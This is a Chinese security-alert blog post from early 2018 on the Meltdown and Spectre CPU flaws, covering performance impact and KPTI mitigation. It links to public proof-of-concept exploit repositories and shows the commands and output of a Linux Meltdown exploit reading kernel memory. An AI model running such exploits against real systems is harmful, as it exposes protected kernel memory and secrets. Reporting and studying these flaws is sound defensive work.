目前研究人员正抓紧检查 Linux 内核的安全问题,与此同时,微软也预计将在本月补丁日公开介绍 Windows 操作系统的相关变更。

而 Linux 和 Windows 系统的这些更新势必会对 Intel 的产品线造成冲击,预计可能会出现 5% 到 30% 的性能下降,具体还和处理器型号有关。

苹果的 macOS 也将需要进行更新,此缺陷也影响 Intel x86-64 的硬件,并且通过 microcode 更新无法解决此问题,必须是在系统级别的软件中进行修复,或者购买新的处理器。

过去十多年中生产的处理器都受到了影响,漏洞允许普通的 ring3 层应用(从数据库应用到 Web 浏览器)在一定程度上识别受到保护的内核空间布局。

而解决方法则是使用所谓的内核页表隔离机制(KPTI)将内核空间与用户进程完全分开,也就是将内核移入一个完全独立的地址空间,因此设备的运行速度将会大幅减慢。

影响CPU如上图所示

国外一小哥自己已经测试了

目前来,真正利用的exp并未公布

下面附上一个win的poc,可信度请自测。

poc:https://github.com/turbo/KPTI-PoC-Collection

具体来说,这次是爆出两个漏洞。

刚找到个spectre的利用poc:https://github.com/Eugnis/spectre-attack

paper中给出了JS利用思路

paper地址:https://spectreattack.com/

下载其中的PDF查看就行。

spectre中JS的利用思路如下

但因js的危害太大,连poc都不敢放出来

最新更新(2018年1月5日16:46:01)

附上Linux的利用exp:https://github.com/paboldin/meltdown-exploit

$ make
cc -O0 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
+ sudo awk /linux_proc_banner/ { print $ } /proc/kallsyms
+ ./meltdown ffffffffa3e000a0
ffffffffa3e000a0 = %
ffffffffa3e000a1 = s
ffffffffa3e000a2 =
ffffffffa3e000a3 = v
ffffffffa3e000a4 = e
ffffffffa3e000a5 = r
ffffffffa3e000a6 = s
ffffffffa3e000a7 = )
ffffffffa3e000a8 = o
ffffffffa3e000a9 = f
ffffffffa3e000aa =
ffffffffa3e000ab =
ffffffffa3e000ac = s
ffffffffa3e000ad =
ffffffffa3e000ae = (
ffffffffa3e000af = b
ffffffffa3e000b0 = U
ffffffffa3e000b1 = i
ffffffffa3e000b2 = l
ffffffffa3e000b3 = d
ffffffffa3e000b4 = d
ffffffffa3e000b5 = @

windows的poc执行截图:

切记,windows代码编译时用vs2012以上的版本,64位的机器

参考原文:

https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/

https://www.zhihu.com/question/265012502

【漏洞预警】Intel爆CPU设计问题,导致win和Linux内核重设计(附测试poc)的更多相关文章

  1. ATT汇编与Intel汇编的区别,摘自《深入分析linux内核源码》一书

    2.6.1 AT&T与Intel汇编语言的比较 我们知道,Linux是Unix家族的一员,尽管Linux的历史不长,但与其相关的很多事情都发源于Unix.就Linux所使用的386汇编语言而言 ...

  2. 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

    这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞.Linux kernel团队已经对此进行了修复. 漏 ...

  3. 读书笔记2013-2 Linux内核设计与实现A

    读书笔记2013-2 Linux内核设计与实现A <Linux内核设计与实现> 简介 这本书不是想Linux源码剖析那样一行行分析Linux源代码的书,而是从Linux历史,Linux哲学 ...

  4. 把握linux内核设计思想系列【转】

    转自:http://blog.csdn.net/shallnet/article/details/47734053 版权声明:本文为博主原创文章,未经博主允许不得转载.如果您觉得文章对您有用,请点击文 ...

  5. 把握linux内核设计思想系列

    [版权声明:尊重原创,转载请保留出处:blog.csdn.net/shallnet,文章仅供学习交流,请勿用于商业用途] 本专栏分析linux内核的设计实现,包含系统调用.中断.下半部机制.时间管理. ...

  6. Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

    摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...

  7. Intel系列CPU的流水线技术的发展

    Intel系列CPU的流水线技术的发展 CPU(Central processing Unit),又称“微处理器(Microprocessor)”,是现代计算机的核心部件.对于PC而言,CPU的规格与 ...

  8. CPU指令集不同导致的core分析

    最近程序需要支持CGSL系统运行,测试中发现相同操作系统的两台机器,编译机运行正常,测试机coredump.core信息汇总如下,可以看出是由于测试机不支持编译后的指令导致的问题: Program t ...

  9. AMD和Intel的CPU对比

    http://www.lotpc.com/yjzs/5825.html 推荐文章:小白看AMD与intel的cpu架构,AMD慢的原因 CPU核心的发展方向是更低的电压.更低的功耗.更先进的制造工艺. ...

随机推荐

  1. 免費域名申請.me .im .in .co .la .do .ms .kz .tk .ru .mu .pn .tt

    免費申請域名 .la .la 域名 – 原先是ICANN分配給老撾的國家頂級域名,不過後來被同時作為了美國洛杉矶市的域名後綴. 免費申請地址: http://www.idv.la http://www ...

  2. IIS 问题集锦

    本文主要记录IIS中遇到的各种问题以及注意事项 一.在IIS中.NET Framework的版本选择为什么没有v3.0,v3.5? 首先需要澄清的是这里有两个关于版本的东西:ASP.NET和.NET ...

  3. jQuery选择器——(三)

    1.基本元素选择器 id选择器:$(“#id名称”); 元素选择器:$(“元素名称”); 类选择器:$(“.类名”); 通配符:* 多个选择器共用(并集) 2.层级选择器 ancestor desce ...

  4. Redhat制作本地yum源

    1.将iso文件上传到服务器上,然后执行: mount -o loop rhel-server-6.3-dvd.iso /media/cdrom 2.设置yum源,在/etc/yum.repos.d目 ...

  5. 大数据系列之分布式计算批处理引擎MapReduce实践

    关于MR的工作原理不做过多叙述,本文将对MapReduce的实例WordCount(单词计数程序)做实践,从而理解MapReduce的工作机制. WordCount: 1.应用场景,在大量文件中存储了 ...

  6. haproxy支持的负载均衡算法详解

    目前haproxy支持的负载均衡算法有如下8种: 1.roundrobin 表示简单的轮询,每个服务器根据权重轮流使用,在服务器的处理时间平均分配的情况下这是最流畅和公平的算法.该算法是动态的,对于实 ...

  7. K/V式枚举

    public enum OType { LOGIN { public String getDesc() { return "登录"; } }, ADD { public Strin ...

  8. Ubuntu下使用virtualenv

    Ubuntu 18.04,Python 3.6.5(最新3.7),virtualenv 16.0.0, 即将在Ubuntu上大张旗鼓地干活啦!那么,将之前安装的virtualenv运行起来吧(前面都是 ...

  9. GMM 模型需不需归一化问题

    工作中遇到的问题:在GMM模型中添加一维scale比较大的特征,需不需要归一化 答案:不需要,推导如下:

  10. SQLSERVER 2008 编辑所有或者任意行

    选中表 右键选择“编辑前200行”,然后选择左上角的 sql图标,然后在右侧的SQL语句去掉 top 200 然后执行查询 就可以编辑所有的行了,可以选择自己需要写SQL,然后查询编辑. 第二种方法: ...